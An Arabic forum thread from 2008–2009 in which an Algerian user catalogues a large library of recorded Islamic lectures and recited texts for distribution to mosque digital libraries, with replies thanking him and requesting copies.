مناقشة العلامة الالباني للعلامة عبد الله السعد< o:p></o:p>
دروس علمية للشيخ سعد الحميد< o:p></o:p>
سلسلة الاعجاز النبوي للدكتور عثمان الغزالي< o:p></o:p>
طرق البحث في كتب - العقيدة الفقه التفسير الحديث< o:p></o:p>
سلسلة كيف تكون طالب علم للشيخ راشد الزهراني< o:p></o:p>
تعليقات علي كتاب من غرائب الفتوى للحنبلي< o:p></o:p>
لقاءات مع الشيخ د. عبدالكريم الخضير 16 لقاء< o:p></o:p>
المخطوطات وقواعد تحقيقها للشيخ محمد بن ناصر العجمي< o:p></o:p>
سلسلة كيف تقرأ كتب العلماء< o:p></o:p>
سلسلة كيف تكون طالب علم< o:p></o:p>
قراءة من كتاب من غرائب الفتاوى< o:p></o:p>
..............................................<o:p></o:p>
- دورات مركز الإمام الألباني - من الدورة الأولى الى الدورة السادسة< o:p></o:p>
الاحتفال بفتتاح مركز الالباني< o:p></o:p>
ندوات المركز ... الندوة الثالثة (حاجة الامة إلى العلماء الربانين) < o:p></o:p>
الندوة الرابعة (الدعوة السلفية اصولها واهدافها) < o:p></o:p>
الندوة السادسة (عواصم السنن من قواصم الفتن) < o:p></o:p>
الندوة السابعة (شهر الصيام فضائل واحداث واحكام) < o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/211)
الندوة الثامنة (الحج الى بيت الله الحرام) < o:p></o:p>
الندوة التاسعة (المحاضرات< o:p></o:p>
الندوة العاشرة (الجلسة الختامية للدورة الاولى) < o:p></o:p>
ندوة كشف الشبهات عن الدعوة السلفية< o:p></o:p>
لقاء مفتوح مع طلبة العلم بالمركز< o:p></o:p>
مكتبة الأكاديمية - مكتبة دروس الأكاديمية - الدروس الصوتية جميع الدروس مصنفة حسب الفن والمستوى حوالي اكثر من 690 درس< o:p></o:p>
..............................................<o:p></o:p>
الدورة الاولى بمسجد لا فيجري وتحتوي الدورة على< o:p></o:p>
أصول إعتقاد السلف الصالح للشيخ عبد الحليم توميات < o:p></o:p>
اصول التفسير< o:p></o:p>
أصول الحديث للشيخ محمد حاج عيسى< o:p></o:p>
أصول الدعوة لفضيلة الشيخ محمد حاج عيسى < o:p></o:p>
أصول الفقه للشيخ عبد الحليم توميات < o:p></o:p>
أصول النحو للشيخ أبي جابر عبد الحليم توميات < o:p></o:p>
.............<o:p></o:p>
الدورة الثانية بمسجد لا فيجري وتحتوي الدورة على< o:p></o:p>
أصول الفقه الدورة< o:p></o:p>
الجرح والتعديل للشيخ محمد حاج عيسى< o:p></o:p>
القواعد الفقهية< o:p></o:p>
................<o:p></o:p>
- دورة إمام دار الهجرة العلمية السادس< o:p></o:p>
- دورة الإمام مالك بن أنس الأولى 1427هـ بالحي الجامعي باب الزوار 8 أشرطة< o:p></o:p>
- دورة إمام دار الهجرة العلمية السابعة المقامة في مسجد القبلتين بالمدينة النبوية لعام 1428هـ 44 شريط< o:p></o:p>
- دورة ذرارية< o:p></o:p>
- الدورة 7 للامارات 64 شيرط وتحتوي الدورة على< o:p></o:p>
أصول الفقه-الشيخ/محمد مختار الشنقبطي< o:p></o:p>
الفقه-الشيخ مصطفي بن كرام الله مخدوم< o:p></o:p>
أحكام التجويد-الشيخ أيمن رشدي سويد< o:p></o:p>
السيرة النبوية-الشيخ مصطفى البحياوي< o:p></o:p>
<o:p></o:p>
- الدورة العلمية الأولى لمسجد البراني-القصبة-الجزائر< o:p></o:p>
<o:p></o:p>
مناقشة رسالة ماجيستيرالشيخ الحسن الددو< o:p></o:p>
مناقشة رسالة دكتوراه الشيخ محمد بن ربيع المدخلي المناقشون الشيخ صالح آل الشيخ الشيخ عبد الرزاق العباد< o:p></o:p>
مناقشة رسالة الدكتوراه لفضيلة الدكتور .. حاتم بن عارف الشريف< o:p></o:p>
مناقشة رسالة الشيخ بكر ابوزيد .... هناك رسائل أخرى سيتم ذكرها في الجزء الثاني من المكتبة الصوتية< o:p></o:p>
سلسل من الدروس و المحاضرات والخطب لمجموعة من أهل العلم الجزائرين على سبيل المثال لا الحصر < o:p></o:p>
المشايخ الكرام ... الشيخ فركوس الشيخ العيد شريفي الشيخ عز الدين رمضاني الشيخ عبد الحليم توميات الشيخ أبي سعيد الشيخ لزهر سنيقرة الشيخ عويسات ... الخ
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[15 - 09 - 08, 08:13 م]ـ
السلام عليكم ورحمة الله وبركاته حياكم الله وجمعني بكم في جناته
هناك تنبيه وبشارة
أما التنبيه فهو أن هذا المشروع موجه أولا لإخواني وأخواتي طلاب العلم هنا بالجزائر خاصة ... أقول هذا لأن هناك كثير من الإخوة خارج الجزائر طلبوا محتويات المكتبة وفي الحقيقة أن النية معقودة إن شاء الله في أن أرسل محتويات المكتبة إلى إخواني الأشقاء المغارية (المغرب .. ليبيا .. تونس .. موريطانيا وهكذا) بصفة خاصة ولكن بعد أن يتم ماخططنا له من أن تعم فائدته التراب الوطني على كامل ترابه وأينما كان إخواني طلبة العلم
البشارة
أنه سيتم التنسيق مع مسجد التقوى بباب الوادى الجزائر العاصمة إن شاء الله لكي يتمكن إخواننا طلاب العلم المقيمين بباب الوادى و ضواحيها من الذهاب الى مكتبة المسجد الرقمية
للإستفادة بمكتبة المشروع عن طريق النسخ من المكتبة
وللفائدة فإنه تم فتح مكتبة رقمية تحت إشراف الشيخ الفاضل فريد لعيفة جزا الله خيرا القائمين عليها المكتبة بها أجهزة حاسوبية و مجموعة كبيرة من الصوتيات والمرئيات الرقمية وحسب ظني فإنها المبادرة الأولى على مستوى العاصمة ... أسئل الله تعالى أن يحذو إخواننا المشرفين على المساجد نفس ماقام به إخواننا في مكتبة التقوى بباب الوادى بالعاصمة
وسيتم إن شاء الله مستقبلا التواصل والتنسيق مع مكتبات مساجد العاصمة وجميع التراب الوطني للإستفادة من فكرة المشروع ولإقتراخاتكم فنحن كلنا آذان صاغية والله من وراء القصد وهو يهدي السبيل
محبكم في الله وخادمكم
محمد
البريد الإلكتروني
allsalafi@maktoob.com
الهاتف النقال
0797513534
الميسنجر
allsalafi@hotmail.com
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[15 - 09 - 08, 08:22 م]ـ
سيتم إن شاء الله تباعا وضع فهرسة لمكتبة المشروع بالإضافة الى ملفات وورد بها فهرسة المكتبة ليتمكن الإخوان من تحميلها وتوزريعها على الأشخاص أو المكتبات المعنيين بالأمر وبارك الله في الجميع
محبكم يدعو لكم ....... والسلام مرفوق لأخي وحبيبي أبي سلمى
ـ[أبو سلمى رشيد]ــــــــ[15 - 09 - 08, 09:24 م]ـ
والله أنت رائع يا أخي محمد
جزاك الله خيرا بارك الله فيك
(يُتْبَع .. اقلب الصفحة)
(61/212)
ـ[شتا العربي]ــــــــ[15 - 09 - 08, 09:32 م]ـ
جزاكم الله خيرا وبارك فيكم
هل توجد هذه الشروح على الشبكة؟
< o:p></o:p>
<o:p></o:p>
علوم الحديث< o:p></o:p>
<o:p></o:p>
شرح الباعث الحثيث في اختصار علوم الحديث للشيخ المحدث عبد القادر الأرناؤوط رحمه الله تعالى< o:p></o:p>
شرح (مقدمة ابن الصلاح) للشيخ الدكتور حاتم بن عارف الشريف< o:p></o:p>
شرح الموقظة، لفضيلة الشيخ إبراهيم اللاحم< o:p></o:p>
شرح طرفة الطرف في مصطلح من سلف< o:p></o:p>
شرح مقدمة مسلم< o:p></o:p>
شرح نخبة الفكر - عادل عبد الغفور< o:p></o:p>
شرح الباعث الحثيث لابن كثيرللشيخ طارق عوض الله< o:p></o:p>
شرح اختصار علوم الحديث للشيخ طارق عوض الله< o:p></o:p>
شرح الإرشادات في تقوية الأحاديث بالشواهد والمتابعات للشيخ طارق عوض الله< o:p></o:p>
شرح البيقونيه للشيخ طارق عوض الله< o:p></o:p>
شرح ألفية السيوطي للشيخ طارق عوض الله< o:p></o:p>
شرح الموقظة للشيخ طارق عوض الله< o:p></o:p>
شرح تيسير علم الحديث للمبتدئين للشيخ طارق عوض الله< o:p></o:p>
شرح تيسير مصطلح الحديث للطحان للشيخ طارق عوض الله< o:p></o:p>
شرح دراسة الأسانيد للشيخ طارق عوض الله< o:p></o:p>
شرح علل الترمذي للشيخ طارق عوض الله< o:p></o:p>
شرح مقدمة صحيح مسلم للشيخ طارق عوض الله< o:p></o:p>
شرح نُخبة الفِكر للحافظ ابن حجر للشيخ طارق عوض الله< o:p></o:p>
شرح الباعث الحثيث للشيخ الحويني< o:p></o:p>
شرح ألفية السيوطي غيرر تام للشيخ الحويني< o:p></o:p>
شرح ألفية الحافظ العراقي لعمر حسن فلاته< o:p></o:p>
شرح الفية السيوطي للعباد< o:p></o:p>
شرح مقدمة ابن الصلاح للشيخ حاتم بن عوني الشريف< o:p></o:p>
شرح مقدمة ابن الصلاح للشيخ مصطفى سلامة< o:p></o:p>
شرح الرسالة المستطرفة للشيخ حاتم بن عوني الشريف< o:p></o:p>
شرح نخبة الفكر للعثيمين< o:p></o:p>
قواعد الجرح والتعديل للشيخ طارق عوض الله< o:p></o:p>
مكتبة الحديث للشيخ طارق عوض الله< o:p></o:p>
مهمات فى العلل للشيخ طارق عوض الله< o:p></o:p>
الشرح النفيس لاختصار علوم الحديث للشيخ الحويني< o:p></o:p>
دراسات في مصطلح الحديث للشيخ الحويني< o:p></o:p>
دورة في علم العلل للشيخ حاتم بن عوني الشريف< o:p></o:p>
علل الترمذي لابن رجب للشيخ حاتم بن عوني الشريف< o:p></o:p>
خلاصة التأصيل للشيخ حاتم بن عوني الشريف< o:p></o:p>
مناهج كتب الصحاح والسنن للشيخ حاتم بن عوني الشريف< o:p></o:p>
دراسة منهجية لسنن النسائي وإبن ماجه للشيخ حاتم بن عوني الشريف< o:p></o:p>
نزهة النظر للحافظ ابن حجر للشيخ حاتم بن عوني الشريف< o:p></o:p>
الرسالة المستطرفة لبيان مشهور كتب السنة المشرفة للكتاني للشيخ حاتم بن عوني الشريف< o:p></o:p>
تاريخ نشوء مصنفات السنة للشيخ حاتم بن عوني الشريف< o:p></o:p>
التأصيل لخلاصة علم الجرح والتعديل للشيخ حاتم بن عوني الشريف< o:p></o:p>
التوضيح الأبهر للسخاوي للشيخ حاتم بن عوني الشريف< o:p></o:p>
منهج تعلم علم الحديث للشيخ عبد الله السعد< o:p></o:p>
دراسة علم العلل للشيخ سعد بن عبد الله الحميد< o:p></o:p>
سلسلة برنامج مع اهل الحديث من اذاعة القران الكريم السعودية< o:p></o:p>
سلسلة دراسة الأسانيد لفضيلة الشيخ إبراهيم اللاحم< o:p></o:p>
شرح التقيد و الايضاح للشيخ عمر حسن فلاته< o:p></o:p>
المَعَارِفُ الضَّرُورِيَّة في عُلُوم السُّنَّة النَّبويَّة للشّيخ د. حَاتِم بن عَارِف العونِيّ الشَّرِيْف< o:p></o:p>
مراجعة تدريب الراوي - للعلاَّمة مقبل بن هادي الوادعي - 15 مجلسا مباركا< o:p></o:p>
المدخل الى علوم الحديث لمجموعة من أهل العلم< o:p></o:p>
الجرح والتعديل للشيخ محمد حاج عيسى< o:p></o:p>
شرائط سجلها الحويني مع الالباني في سفره اليه 8 أشرطة< o:p></o:p>
سلسلة شروح الاكاديمية التعليمية قسم علوم الحديث< o:p></o:p>
<o:p></o:p>
رجاء التكرم بوضع روابط ما يوجد منها على الشبكة
وجزاكم الله خيرا وجعلكم من عتقائه من النار
ـ[أحمد محمد بسيوني]ــــــــ[16 - 09 - 08, 12:31 ص]ـ
جزاكم الله خيرا
ـ[أبو عبد البر المالكي]ــــــــ[16 - 09 - 08, 02:04 ص]ـ
السلام عليكم ورحمة الله وبركاته حياكم الله وجمعني بكم في جناته
هناك تنبيه وبشارة
.....
البشارة
أنه سيتم التنسيق مع مسجد التقوى بباب الوادى الجزائر العاصمة إن شاء الله لكي يتمكن إخواننا طلاب العلم المقيمين بباب الوادى و ضواحيها من الذهاب الى مكتبة المسجد الرقمية
للإستفادة بمكتبة المشروع عن طريق النسخ من المكتبة
وللفائدة فإنه تم فتح مكتبة رقمية تحت إشراف الشيخ الفاضل فريد لعيفة جزا الله خيرا القائمين عليها المكتبة بها أجهزة حاسوبية و مجموعة كبيرة من الصوتيات والمرئيات الرقمية وحسب ظني فإنها المبادرة الأولى على مستوى العاصمة ... أسئل الله تعالى أن يحذو إخواننا المشرفين على المساجد نفس ماقام به إخواننا في مكتبة التقوى بباب الوادى بالعاصمة
وسيتم إن شاء الله مستقبلا التواصل والتنسيق مع مكتبات مساجد العاصمة وجميع التراب الوطني للإستفادة من فكرة المشروع ولإقتراخاتكم فنحن كلنا آذان صاغية والله من وراء القصد وهو يهدي السبيل
محبكم في الله وخادمكم
محمد
البريد الإلكتروني
allsalafi@maktoob.com
الهاتف النقال
0797513534
الميسنجر
allsalafi@hotmail.com
جزاك الله خيرا كثيرا و بارك فيك و أعانك على مرادك اسال الله ان يكتب لهدا المشروع النجاح و القبول
و أنصح الاخوان الجزائريين بالتوجه لمكتبة مسجد التقوى فهي ماتعة نافعة قد بذل الاخوة هناك جهدا عظيما لتوفير الدروس و ترتيبها و لعلها ستبهركم ان شاء الله ....
(يُتْبَع .. اقلب الصفحة)
(61/213)
ـ[الطيماوي]ــــــــ[16 - 09 - 08, 06:17 م]ـ
يسر الله أمرك وثبتك وأعانك
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[16 - 09 - 08, 09:36 م]ـ
بسم الله و الصلاة والسلام على أشرف خلق الله
أمابعد
فأولا أشكر إخواني وأحبابي على مرورهم الكريم على موضوعي هذا أسئل الله تعالى أن يجمعنا دوما على حبه والعمل على مرضاته والدعوة الى دينه .. والمهم إحواني تظافر الأيدي أيدي إحواني من أبناء بلدي لإنجاخ هذه الفكرة والله الموفق لما يحب ويرضا
ثانيا أود أن أنبه أخي شتا وفقه الله أن ما سيتم عرضه من مكتبة المشروع هو ثمرات سنوات من البحث والتحميل من الشبكة العنكبوتية أكثر من 5سنوات وقد وفقني الله من تحميل أكثر البرامج و الصوتيات والكتبة بأنواعها التي وضعت عبرهذه السنوات على الانترنت وما ذكرته هنا في الجزء الاول من المكتبة الصوتية فيه ما تم تحميله من سنوات من موضعه الأول ولا أظن أنه لا يزال وإن كان لا يزال فالعهد به بعيد ولا أذكر إسم الموقع التي تم منه التحميل .... على كل حال أخي الحبيب أسئل الله أن يسرلك ماتريده وبارك الله في الجميع
محبكم يدعو لكم
البريد الإلكتروني
allsalafi@maktoob.com
الهاتف النقال
0797513534
الميسنجر
allsalafi@hotmail.com
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[17 - 09 - 08, 09:07 م]ـ
تتمة للمكتبة الصوتية الخاصة بالمشروع
شرح الاربعين النووية للشيخ ابراهيم بن عامر الرحيلي<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
تفسير البقرة لابن باز< o:p></o:p>
شرح صحيح البخاري لابن باز 50شريط< o:p></o:p>
شرح بلوغ المرام للشيخ صالح الفوزان< o:p></o:p>
شرح منظومة الآداب لابن عبد القوي شرح الفوزان< o:p></o:p>
أشرطة الشيخ إحسان إلهي ظهير حول الشيعة 11شريط< o:p></o:p>
شرح السنة من سنن أبي داود للشيخ أحمد النجمي< o:p></o:p>
مجالس تفسير القرآن للشيخ أحمد النجمي< o:p></o:p>
سلسلة فقه المرأة المسلمة للشيخ ناصر الدين الألباني 20 شريط< o:p></o:p>
سلسلة فتاوى نور على الدرب للشيخ العثيمين< o:p></o:p>
شرح صحيح البخاري للشيخ العثيمين< o:p></o:p>
شرح البيقونية للعثيمين< o:p></o:p>
شرح أصول الفقه للشيخ عبد الكريم النملة< o:p></o:p>
شرح فضل المدينة وآداب ساكنها للشيخ صالح السحيمي< o:p></o:p>
سلسلة توعية الحاج للشيخ صالح السحيمي< o:p></o:p>
شرح المتممة الأجرومية للشيخ عبد الرحمن بن عوف الكوني< o:p></o:p>
شرح لامية الأفعال للشيخ عبد الرحمن بن عوف الكوني< o:p></o:p>
شرح العقيدة الواسطية للشيخ محمد أمان الجامي< o:p></o:p>
شرح كتاب الفتن من صحيح البحاري للشيخ محمد بن عبد الوهاب العقيل < o:p></o:p>
شرح الباعث الحثيث للشيخ مقبل بن هادي الوادعي< o:p></o:p>
سلسلة إرواء الغليل في أجوبة الحديث للشيخ مقبل الوادعي< o:p></o:p>
سلسلة كيف يبني طالب العلم مكتبته للشيخ الخضير< o:p></o:p>
مجالس تفسير القرآن للشيخ مشهور< o:p></o:p>
مجالس شرح الموطأ للشيخ الخضير < o:p></o:p>
شرح روضة الناضر للشيخ النملة< o:p></o:p>
مجموعة صوتيات الشيخ مشهور الموجود في موقعه 91 شريط< o:p></o:p>
أحكام المسائل الطبية المعاصرة للشيخ خالد المشيقح< o:p></o:p>
شرح السفارينية للشيخ بن جبرين< o:p></o:p>
أصول الفرق للشيخ علي الشبل< o:p></o:p>
سلسلة منهج ائمة الدعوة للشيخ صالح آل الشيخ< o:p></o:p>
شرح السفارينية خالد بن عبدالله المصلح< o:p></o:p>
نور البصائر والألباب للشيخ عبد الله العقيل< o:p></o:p>
مجموعة دروس الشيخ فركوس حفظه الله الموجودة في موقعه 24شريط< o:p></o:p>
مجموعة دروس ولقاءات للشيخ العيد شريفي 46 شريط< o:p></o:p>
محاضرات في علوم الحديث لأشهر الدكاترة والمختصين 12 محاضرة< o:p></o:p>
ومن موقع مؤسسة الدعوة الخيرة تم تحميل صوتيات هذا الموقع المبارك وبه< o:p></o:p>
<o:p></o:p>
الدروس العلمية لصيف 1425هـ< o:p></o:p>
الدروس العلمية لصيف 1426 هـ< o:p></o:p>
الدروس العلمية لصيف 1427 هـ< o:p></o:p>
الدروس العلمية لصيف 1428هـ< o:p></o:p>
الدورة العلمية الأولى للدعاة: الدورة في 4 أسابيع بالإضافة الى المحاضرات التدريبية المصاحبة للدورة< o:p></o:p>
شرح أخصر المختصرات في الفقه الحنبلي للشيخ د. صالح الفوزان< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/214)
تفسير القرآن من سورة الحجرات الى الناس للشيخ د. صالح الفوزان< o:p></o:p>
شرح كتاب التوسل والوسيلة للشيخ د. صالح الفوزان< o:p></o:p>
شرح السنة للبربهاري للشيخ د. صالح الفوزان< o:p></o:p>
الدورة العلمية التأصيلية الاولى لطالب العلم< o:p></o:p>
دورة مقدمات في العلوم الشرعية< o:p></o:p>
كلمات توجيهية لمجموعة من العلماء:< o:p></o:p>
الكلمات التوجيهية لعام 1424 هـ< o:p></o:p>
الكلمات التوجيهية لعام 1425 هـ< o:p></o:p>
الكلمات التوجيهية لعام 1426 هـ< o:p></o:p>
<o:p></o:p>
وضمن ملتقى الدعوة:< o:p></o:p>
مجالس عشر ذي الحجة< o:p></o:p>
ملتقى الأسرة المسلمة< o:p></o:p>
ملتقى الدعوة الأول (الصيام) < o:p></o:p>
ملتقى الدعوة الثالث (الإرهاب) < o:p></o:p>
ملتقى الدعوة الثاني (الحج) < o:p></o:p>
ملتقى سيرة خاتم المرسلين< o:p></o:p>
مجموعة من المتون منها
متن الدرة المضية في القراءات الثلاث المتممة للعشرالمرضية< o:p></o:p>
متن هداية المرتاب وغاية الحفاظ والطلاب في تبين متشابه الكتاب< o:p></o:p>
الفية ابن مالك< o:p></o:p>
قراءة متن الشاطبية للعفاسي< o:p></o:p>
متن كتاب التوحيد< o:p></o:p>
الجوهر المكنون في رواية قالون< o:p></o:p>
ألفية العراقي< o:p></o:p>
ديوان الالبيري< o:p></o:p>
ذات الشفا في سيرة النبي والخلفا< o:p></o:p>
متن اصول الفقه وقواعده للشيخ العثيمين< o:p></o:p>
متن الاجرومية< o:p></o:p>
متن الاربعين النووية< o:p></o:p>
متن الاصول الثلاث وادلتها< o:p></o:p>
متن البيقونية< o:p></o:p>
نونية السعداني في نظم عقيدة اهل السنة والجماعة< o:p></o:p>
متن الجزرية< o:p></o:p>
متن الدرة البهية نظم الآجرومية< o:p></o:p>
متن الرحبية< o:p></o:p>
متن الزبدة في الفقه على المذهب الشافعي< o:p></o:p>
نظم التحفة السمنودية< o:p></o:p>
متن العقيدة الواسطية< o:p></o:p>
المنظومة الحائية في السنة< o:p></o:p>
متن الورقات< o:p></o:p>
تحفة الأطفال< o:p></o:p>
نظم سلم الوصول للحكمي رحمه الله< o:p></o:p>
متن لمعة الإعتقاد< o:p></o:p>
متن مجمل أصول أهل السنة والجماعة في الإعتقاد< o:p></o:p>
متن نخبة الفكر< o:p></o:p>
منظومة اخطاء المصليين< o:p></o:p>
منظومة مخارج الحروف< o:p></o:p>
نظم قطرب< o:p></o:p>
قصيدة التوبة< o:p></o:p>
نظم السلم المنورق في علم المنطق< o:p></o:p>
متن الطحاوية< o:p></o:p>
نظم ابن تيمية < o:p></o:p>
نظم ألفية السيرة للعراقي< o:p></o:p>
نهاية التدريب في نظم غاية التقريب< o:p></o:p>
نونية القحطاني< o:p></o:p>
منظومة الحكم للبستي< o:p></o:p>
منظومة ابن الوردي< o:p></o:p>
منظومة ألفية السيوطي< o:p></o:p>
منظومة الزمزمي< o:p></o:p>
الارجوزة المنبهة في اسماء القراء وعلم القراءات< o:p></o:p>
منظومة الهداية في علم الرواية< o:p></o:p>
نظم مراقي السعود< o:p></o:p>
منظومة الإشبيلي غرامي صحيح< o:p></o:p>
منظومة قصب السكر نظم نخبة الفكر< o:p></o:p>
ميمية ابن القيم< o:p></o:p>
نونية ابن القيم< o:p></o:p>
متن حرز الأماني و وجه التهاني - للإمام الشاطبي< o:p></o:p>
متن اتحاف البرية فى تحريرات الشاطبية< o:p></o:p>
تحريرات الشيخ عبدالباسط هاشم< o:p></o:p>
احكام الراءات للشيخ عبدالباسط هاشم< o:p></o:p>
ناظمة الزهر فى علم الفواصل - للإمام الشاطبى< o:p></o:p>
عقيلة اتراب القصائد علوم الرسم - للإمام الشاطبى< o:p></o:p>
طيبة النشر القراءات العشر - للإمام ابن الجزري< o:p></o:p>
متن المقدمة الجزرية - للإمام ابن الجزري< o:p></o:p>
الدرة المضية القراءات الثلاث - للإمام ابن الجزري< o:p></o:p>
مراتب المد الواقع قبل الهمز من طريق الطيبة < o:p></o:p>
متن الفوائد المهذبة للشيخ على الضباع< o:p></o:p>
الفية العراقي بصوت الغامدي< o:p></o:p>
منظومة عقيلة الشاطبي في علم الرسم< o:p></o:p>
متن الشاطبية
والنية إن شاء الله بتخصيص المتون والمنظومات بقرص يتم توزيعه إن شاء الله
في المرفقات ملف وورد فيه فهرسة للصوتيات التى وضعتها الى الآن
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[17 - 09 - 08, 09:10 م]ـ
<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p> </o:p>
الدروس باللغة الفرنسية< o:p></o:p>
<o:p> </o:p>
شرح العقيدة الواسطية باللغة الفرنسية< o:p></o:p>
شرح الملخص الفقهي للفوزان باللغة الفرنسية< o:p></o:p>
شرح عقيدة السلف أهل الحديث باللغة الفرنسية< o:p></o:p>
شرح كتاب التوحيد باللغة الفرنسية< o:p></o:p>
شرح الارشاد الى صحيح الإعتقاد للفوزان باللغة الفرنسية< o:p></o:p>
شرح كتاب الولاء والبراء باللغة الفرنسية< o:p></o:p>
شرح الاصول الثلاثة باللغة الفرنسية< o:p></o:p>
شرح كتاب كشف الشبهات باللغة الفرنسية< o:p></o:p>
الدعوة السلفية باللغة الفرنسية< o:p></o:p>
شرح كتاب اصول السنة باللغة الفرنسية< o:p></o:p>
شرح القواعد الاربعة باللغة الفرنسية< o:p></o:p>
الخوارج باللغة الفرنسية< o:p></o:p>
سلسلة التحذير من البدع باللغة الفرنسية< o:p></o:p>
أكثر من 91 درس في العقيدة والمنهاج والسلوك وشرح لبعض الرسائل الخاصة بالشيخ الفوزان باللغة الفرنسية< o:p></o:p>
لأبو أحمد الهايتي< o:p></o:p>
يتبع إن شاء الله باقي المكتبة
(يُتْبَع .. اقلب الصفحة)
(61/215)
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[17 - 09 - 08, 09:29 م]ـ
إخواني وأحبابي طلبة العلم في بلدي الحبيب الجزائر راودتني فكرة لعلا الله عز وجل ينفع بها الإخوان عندنا في الجزائر وحتى في باقي الدول الإسلامية إن أرادوا تطبيقها
مما لاحظته أن كثير من طلاب العلم في كثير من الأماكن يفتقدون لكثير من الخير الذي ينشر في الشبكة العنكبوتية من كتب وصوتيات وموسوعات وبرامج وغير ذلك من الأشياء التي تعين طالب العلم في طلبه والغريب أن في تلك الأماكن التي يقطن فيه هذا الأخ يظن أنه لا يوجد ذلك الخير وإذا بحثت رأيت الكثير ممن يملك تلك الكتب والصوتيات والبرامج التي يحتاج إليها
بل ربما كان ممن يصلي بجانبه في مسجد حيه وبلدته ...... السبب إخواني هو عدم التواصل بيننا وجهل كل واحد مالغيره من خير
لذلك كانت الفكرة أن يضع كل من أراد نشر الخير الذي لديه على أبناء بلدته وحيه لينتفع بها مثلا نحنا هنا في الجزائر
في هذه الصفحة أو نضع مشاركة جديدة ويكون مضمونها
أن يضع الأخ مثلا:
إسمه أو كنيته
رقم هاتفه
المدينة التي يقطن بها وإن أراد مثلا إسم المسجد الذي يصلي فيه أو حيه الذي يسكن فيه
يضع مالديه من أشياء يمكن لإخوانه أن ينتفعوا بها
وبهذا مثلا أهل العاصمة ينتفعون فيما بينهم وأهل وهران , قسنطينة .... الخ ويعلم كل واحد ماعند الآخر من الخير
وسوف ترون الخير الكثير إن شاء الله
هذه مجرد فكرة واقتراح والله الهادي لخير الامور والسلام عليكم ورحمة الله وبركاته
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[01 - 10 - 08, 10:58 م]ـ
بسم الله والصلاة والسلام على أشرف خلق الله سيدنا محمد وعلى آله وصحبه ومن إتبع هداه إلى يوم الدين
أما بعد
فبمناسبة عيد الفطر المبارك أتوجه إلى مشايخي وإخواني رواد ملتقى أهل الحديث بأسمى تحيات الود و الإخاء راجيا المولى عز وجل أن يتقبل منا ومنكم صالح الأعمال وأن نكون من الفائزين الغانمين إنه ولي ذلك ومولاه
.................................................. ...................................
.................................................. ........................
.................................................. ......
........................
أريد تنبيه إخواني من أبناء جزائرنا الحبيبة المهتمين بمشروع تراث الامة بين يديك أنه ولله حمد قد تم نقل جزء لابأس به من مكتبة المشروع إلى مكتبة مسجد التقوى بباب الوادى العاصمة حوالى 60% من المكتبة الحالية حوالي 600جيقا - والمشروع في إستمرار إن شاء الله -
بها
الكتب المصورة
الكتب الالكترونية
كتب الوورد أفس
الصوتيات
المرئيات
المخطوطات
البرامج و الموسوعات الشرعية
المواقع و المنتديات المحمولة
.. الخ
فمن أراد الإستفادة أو الإفادة بما عنده - ولمالا - يمكن الإتصال بأخينا أحمد أحد الإخوة القائمين على مكتبة مسجد التقوى الرقمية 0776742643
سيتم لاحقا إن شاء الله إتمام فهرسة المكتبة في هذه المشاركة والله الهادي لما يحب يرضا
تنبيه
أبشر إخواني أنه توجد بمكتبة مسجد التقوى الرقمية النسخة الثالثة من المكتبة الشاملة حوالي 21جيقا بعد تثبيتها على الجهاز وفك الضغط ..... فعلى الراغبين في ذلك الإتصال بالأخ أحمد و التواصل معه .......... وفق الله الجميع لما يحب ويرضا
محبكم في الله وخادمكم محمد ....... يدعو لكم
ـ[النوبي]ــــــــ[02 - 10 - 08, 08:54 م]ـ
خيري النوبي بن محمد بن عبد الله
السعودية
ابها
سراة عبيدة
ص ب 26
جوال 0502547830
اريد نسخة من هذه المجموعة ان امكن
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[23 - 10 - 08, 10:32 م]ـ
السلام عليكم ورحمة الله وبركاته ... حياكم الله جميعا وبياكم وجمعني بكم في جناته أردت أن انبه إخواني أن أخاكم في طريقه للعودة إلى ديار الغربة - وسأرجع إلى وطننا الحبيب بعد عدة شهور إن شاء الله وكان في العمر بقية - فمن أراد الإفادة بما عنده أو الإستفادة - فيما يخص مشروع تراث الأمة بين يديك - فما عليه إلا الإتصال بأخينا أحمد أحد الإخوة القائمين على مكتبة مسجد التقوى الرقمية باب الوادى العاصمة 0776742643 للتواصل ونعلمكم أن الإخوان في عملية تهذيب وترتيب للمكتبة فلا تنسوهم من دعائكم ونعدكم إن شاء الله دومابالجديد و المفيد تقبلوا تحيات محبكم في الله وخادمكم محمد - كان الله له - أستودعكم الله الذي لا تضيع ودائعه و السلام عليكم ورحمة الله وبركاته ... لأي إقتراح أو إستفسار
البريد الإلكتروني
allsalafi@maktoob.com
الميسنجر
allsalafi@hotmail.com
لا تنسونا من صالح دعائكم
ـ[ابو ز كريا الجزا ئري]ــــــــ[05 - 11 - 08, 03:40 م]ـ
لويتفضل الإخوة و يقتنوا لنا هارد سك خارجي160 جيقا من الكتب و المخطوطات و يشرفوا على عملية التوزيع
وكذلك هارد سك خارجي500المكتبة الصوتية
الذي يباع في المملكة العربية و في مصر
هل هو متوفر عندكم؟
(يُتْبَع .. اقلب الصفحة)
(61/216)
ـ[أبو الحسن السلفي]ــــــــ[17 - 01 - 09, 01:30 ص]ـ
لويتفضل الإخوة و يقتنوا لنا هارد سك خارجي160 جيقا من الكتب و المخطوطات و يشرفوا على عملية التوزيع
وكذلك هارد سك خارجي500المكتبة الصوتية
الذي يباع في المملكة العربية و في مصر
هل هو متوفر عندكم؟
أين يباع في مصر؟
هلا دللتمونا عليه
ـ[ابو العابد]ــــــــ[17 - 02 - 09, 08:02 ص]ـ
جزاكم ربي خيرا
ـ[الحر الأبي]ــــــــ[25 - 03 - 09, 01:55 ص]ـ
أخي وكنيي الأندلسي
أرجو منك مراجعة الخاص
فقد أرسلت إليك رسالة أتمنى أن تقرأها
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[02 - 04 - 09, 05:59 م]ـ
بسم الله والصلاة والسلام على رسول الله
أما بعد
